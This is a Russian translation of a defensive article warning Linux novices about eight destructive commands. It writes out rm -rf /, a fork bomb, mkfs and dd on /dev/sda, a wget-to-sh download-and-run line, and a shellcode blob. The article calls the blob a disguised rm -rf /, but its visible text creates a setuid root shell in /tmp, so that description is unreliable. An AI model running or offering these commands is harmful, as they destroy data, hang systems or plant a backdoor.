Рейтинг@Mail.ru
[Войти] [Зарегистрироваться]

Наши друзья и партнеры

UnixForum
Беспроводные выключатели nooLite купить дешевый 
компьютер родом из Dhgate.com

Lines Club

Ищем достойных соперников.

Библиотека сайта или "Мой Linux Documentation Project"

Восемь опасных команд, которые никогда не следует выполнять в Linux

Оригинал: 8 Deadly Commands You Should Never Run on Linux
Автор: Chris Hoffman
Дата публикации: 24 сентября 2012 г.
Перевод: Н.Ромоданов
Дата перевода: июнь 2014 г.

Терминальные команды в Linux являются мощными и Linux не попросит вас подтвердить, если вы запустите команду, которая испортит вашу систему. Не редкость увидеть в сети советы от троллей, рекомендующих в качестве шутки выполнить пользователям-новичкам Linux следующие команды.

Изучение команд, которые вам не следует запускать, может помочь защитить вас от троллей и повысит ваше понимание того, как работает Linux. Это не исчерпывающее руководство, и команды, приведенные здесь, могут быть смикшированы различными способами.

Обратите внимание, что многие из этих команд будут опасны только в случае, если у них в Ubuntu будет использован префикс sudo - иначе они не будут работать. На других дистрибутивах Linux, большинство команд должны запускаться с правами суперпользователя.

rm -rf / – удаление всего!

Команда rm -rf / удаляет все, что возможно, в том числе файлы на вашем жестком диске и файлы на подключенных съемных медиа устройствах. Эта команда будет более понятной, если ее разделить на части:

rm – удалить следующие файлы.

-rf - Выполнить команду rm рекурсивно (r – recursively: удаление всех файлов и каталогов внутри указанного каталога) и принудительно удалить (f - force-remove) все файлы, не спрашивая каких-либо подтверждений.

/ - Сообщает команде rm, чтобы надо начать с корневого каталога, в котором содержатся все файлы на вашем компьютере и все смонтированные мультимедийные устройства, в том числе удалить все разделяемые файлы и файлы на съемных дисках.

Linux с удовольствием подчинится этой команде и удалит все без какого-либо запроса, так что будьте осторожны при ее использовании! Команда rm также может быть использована другим опасным способом - ее вариант rm –rf ~ удалит все файлы в вашем домашнем каталоге, а вариант rm -rf .* удалить все ваши конфигурационные файлы.

Урок: Будьте аккуратны с командой rm -rf.

Замаскированные вариант rm –rf /

Вот еще один фрагмент кода, который гуляет по сети:

char esp[] __attribute__ ((section(“.text”))) /* e.s.prelease */= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″
“\x6e\x2f\x73\x68\x00\x2d\x63\x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755/tmp/.beyond;”;

Это шестнадцатеричная версия команды rm –rf / - выполнение этой команды уничтожит ваши файлы так же, как если бы вы запустили команду rm –rf /.

Урок: Не запускайте странные на вид, возмржно, замаскированные команды, которые вы не понимаете.

:(){ :|: & };: – форк-бомба

В следующей строке представлена простая на вид, но и опасная функция bash:

:(){ :|: & };:

В этой короткой строке определена функция командной оболочки, которая создает свои собственные копии. Процесс постоянно воспроизводит себя, и его копии постоянно размножаться, быстро занимая все свое процессорное время и всю память. Это может привести к остановке компьютера. Это, в большей степени, атака вида denial-of-service (отказ в обслуживании).

Урок: Функции bash являются мощными, даже если они очень короткие.

mkfs.ext4 /dev/sda1 – форматирование жесткого диска

Команда mkfs.ext4 /dev/sda1 является простой и понятной:

mkfs.ext4 – создается новая файловая система ext4 на следующем устройстве.

/dev/sda1 - указывает первый раздел на первом жестком диске, который, вероятно, используется.

Если объединить эти команды вместе, то это может быть эквивалентно запуску в Windows команды format c: - файлы в вашем первом разделе будут стерты и будут заменены новой файловой системой.

Эта команда может быть также представлена в других видах – команда mkfs.ext3 /dev/sdb2 отформатирует второй раздел на втором жестком диске с файловой системой ext3.

Урок: Остерегайтесь выполнять команды непосредственно с жесткими дисками, которые начинаются с /dev/sd.

command > /dev/sda – запись непосредственно на жесткий диск

Строка command > /dev/sda работает аналогичным образом - она запускает команду и посылает результат работы этой команды прямо на ваш первый жесткий диск, записывая данные непосредственно на жестком диске и повреждая вашу файловой системы.

command - выполнить команду (может быть любая команда)

> – отправить результат работы команды в следующее место.

/dev/sda - записывать результат работы команды непосредственно на устройство жесткого диска.

Урок: Как и выше, остерегайтесь выполнения команд, в которых указываются устройства жестких дисков, начинающиеся /dev/sd.

dd if=/dev/random of=/dev/sda – запись мусора на жесткий диск

Строка dd if=/dev/random of=/dev/sda также уничтожит данные на одном из ваших жестких дисков.

dd - выполняет копирование из одного места в другое.

if=/dev/random – в качестве входа используется /dev/random (случайные данные) - вы также можете увидеть такой вариант, /dev/zero (обнуление).

of=/dev/sda - выдача данных на первый жесткий диск, заменяя его файловую систему случайными мусорными данными.

Урок: Команда dd копирует данные из одного места в другое, что может быть опасным, если вы копируете данные непосредственно на устройство.

mv ~ /dev/null – перемещение вашего домашнего каталога в черную дыру

/dev/null является еще одним специальным местом - перемещение чего-либо в /dev/null будет то же самое, что и стирание. Считайте устройство /dev/null черной дырой. По существу, команда mv ~ /dev/null перемещает все ваши личные файлы в черную дыру.

mv - переместить следующий файл или каталог в другое место.

~ – указывает на весь ваш домашний каталог.

/dev/null - перемещает ваш ваш домашний каталог на устройство /dev/null, уничтожая тем самым все ваши файлы и удаляя копии оригиналов.

Урок: Символ ~ обозначает ваш домашний каталог и перемещение его в /dev/null, он уничтожается.

wget http://example.com/something -O – | sh – скачивание и запуск скрипта

Эта строка загружает скрипт из интернета и отправляет в интерпретатор sh, который выполняет содержимое скрипта. Это может быть опасным, если вы не знаете, что делает скрипт или если вы не доверяете его источнику - не запускать ненадежные скрипты.

wget - загружает файл. (Вы также можете увидеть curl вместо wget).

http://example.com/something - загрузка файл из указанного каталога.

| - конвейер (перенаправление), который перенаправляет вывод команды wget (файл, который вы скачали) непосредственно в другую команду.

sh - перенаправление файла в команду sh, которая выполняет его, если это скрипт bash.

Урок: Не загружайте и не запускать ненадежные скрипты из интернета, даже если указана команда.

Знаете ли вы какие-нибудь другие опасные команды, которые не должны запускать в Linux пользователи-новички (и опытные пользователи)? Оставьте свой комментарий и поделитесь ими!


Эта статья еще не оценивалась
Вы сможете оценить статью и оставить комментарий, если войдете или зарегистрируетесь.
Только зарегистрированные пользователи могут оценивать и комментировать статьи.

Комментарии отсутствуют